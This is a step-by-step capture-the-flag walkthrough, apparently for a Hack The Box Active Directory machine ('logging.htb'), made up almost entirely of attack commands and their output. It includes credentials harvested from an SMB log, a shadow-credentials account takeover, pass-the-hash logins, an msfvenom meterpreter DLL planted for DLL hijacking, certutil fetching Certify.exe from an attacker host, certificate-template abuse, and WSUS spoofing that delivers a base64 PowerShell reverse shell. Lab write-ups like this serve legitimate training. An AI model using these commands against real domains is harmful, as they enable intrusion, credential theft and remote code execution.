[BlockyCloud]

Recon

faketime "$(date +'%Y-%m-%d') $(net time -S $TARGET| awk '{print $4}')" zsh
TARGET=$TARGET
USER=wallace.everette
PASSWD=Welcome2026@
DOMAIN=logging.htb
DC=DC01.logging.htb

echo "$TARGET logging.htb DC01.logging.htb" | sudo tee -a /etc/hosts

nmap -p- $TARGET
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
8530/tcp open unknown
8531/tcp open unknown
9389/tcp open adws
47001/tcp open winrm

bloodhound-ce.py -c All -u $USER -p $PASSWD -d $DOMAIN -ns $TARGET --zip

ldapdomaindump -u $DOMAIN\\$USER -p $PASSWD -o ldapdomaindump $DC --no-json

# extract users to file
cd ldapdomaindump
awk -F'\t' '{print $3}' domain_users.grep > ../users



SMB

nxc smb $TARGET -u $USER -p $PASSWD --shares
SMB $TARGET 445 DC01 Logs READ
SMB $TARGET 445 DC01 WSUSTemp A network share used by Local Publishing from a Remote WSUS Console Instance.

# inspect shares
nxc smb $TARGET -u $USER -p $PASSWD -M spider_plus -o DOWNLOAD_FLAG=True

# found credz in log file
cat IdentitySync_Trace_20260219.log
[2026-02-09 03:00:03.125] [PID:4102] [Thread:04] VERBOSE - ConnectionContext Dump: { Domain: "logging.htb", Server: "DC01", SSL: "False", BindUser: "LOGGING\svc_recovery", BindPass: "Em3rg3ncyPa$$2025", Timeout: 30 }

# as we see the 2025 in the password, my though was to try with a 2026 asking a TGT
getTGT.py $DOMAIN/svc_recovery -dc-ip $TARGET
# passwd to input -> Em3rg3ncyPa$$2026

# export ticket into a variable
export KRB5CCNAME=svc_recovery.ccache

# check writable privs for svc_recovery
bloodyAD --host $DC -u svc_recovery -k get writable --detail
distinguishedName: CN=msa_health,CN=Managed Service Accounts,DC=logging,DC=htb

certipy shadow -u svc_recovery@$DOMAIN -k -target $DC -account msa_health$ auto
603fc24ee01a9409f83c9d1d701485c5

evil-winrm -u 'msa_health$' -H '603fc24ee01a9409f83c9d1d701485c5' -i $TARGET

# found monitor.ps1 in the user's dir
type monitor.ps1

# retrieve task's info
$TaskName = "UpdateChecker Agent"
$service = New-Object -ComObject "Schedule.Service"
$service.Connect()
$task = $service.GetFolder("\").GetTask($TaskName)

$task
Name : UpdateChecker Agent
[...]

<Command>"C:\Program Files\UpdateMonitor\UpdateMonitor.exe"</Command>

cd "C:\Program Files\UpdateMonitor\"

.\UpdateMonitor.exe
[...]
[2026-04-19 13:10:02] Info: Core did not find file Settings_Update.zip
[2026-04-19 13:10:02] Last status: File not found on core
[2026-04-19 13:10:02] Checking for update on local server...
[2026-04-19 13:10:02] No updates found locally: C:\ProgramData\UpdateMonitor\Settings_Update.zip.
[2026-04-19 13:10:02] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll
[2026-04-19 13:10:02] Failed to load settings_update.dll. Error code: 126
[2026-04-19 13:10:02] Update check completed.

# we can see that the exe is checking for a zip file, and that this exe is probaly extracting the dll it contains

# create a meterpreter dll (after trial and error, it's a x86 exe)
msfvenom -p windows/meterpreter/reverse_tcp -ax86 -f dll LHOST=$ATTACKER_IP LPORT=1234 > settings_update.dll

# launch msfconsole
use multi/handler
set LHOST $ATTACKER_IP
set lport 1234
set PAYLOAD windows/meterpreter/reverse_tcp
run

# zip the dll
zip Settings_Update.zip settings_update.dll

# upload the zip
cd C:\ProgramData\UpdateMonitor\
upload Settings_Update.zip

# wait for the trigger
# retrieve user flag
type C:\Users\jaylee.clifton\desktop\user.txt

Priv esc

# check the info into this file
type "C:\Users\jaylee.clifton\Documents\Tickets\Incident_4922_WSUS_Remediation_ViewExport.html"

# retrieve Certify
certutil -split -urlcache -f http://$ATTACKER_IP/Certify.exe C:\\users\\jaylee.clifton\\Documents\\Certify.exe

# using certify, we can see a Template name (UpdateSrv), where IT (our user group) is able to ask for a certificate
# with these info, we can use the wsus.logging.htb record to host malicious wsus updates ->

# get a cert
.\Certify.exe request /ca:"DC01.logging.htb\logging-DC01-CA" /template:"UpdateSrv" /upn:"[email protected]" /dns:"wsus.logging.htb" /target:"dc01.logging.htb" /subject:"CN=wsus.logging.htb"

# write the cert.pem on our machine
# add a dns record to point to our machine
bloodyAD --host $DC -d $DOMAIN -u 'msa_health$' -p ':603fc24ee01a9409f83c9d1d701485c5' add dnsRecord wsus $ATTACKER_IP

# install this tool
[URL unfurl="true"]https://github.com/NeffIsBack/wsuks[/URL]

# add into our /etc/hosts $ATTACKER_IP wsus.logging.htb
sudo wsuks -t $TARGET--tls-cert cert.pem --WSUS-Server wsus.logging.htb --serve-only -c "/accepteula /s powershell.exe -e $BASE64_REVERSE_SHELL" -I tun0

type C:\users\toby.brynleigh\desktop\root.txt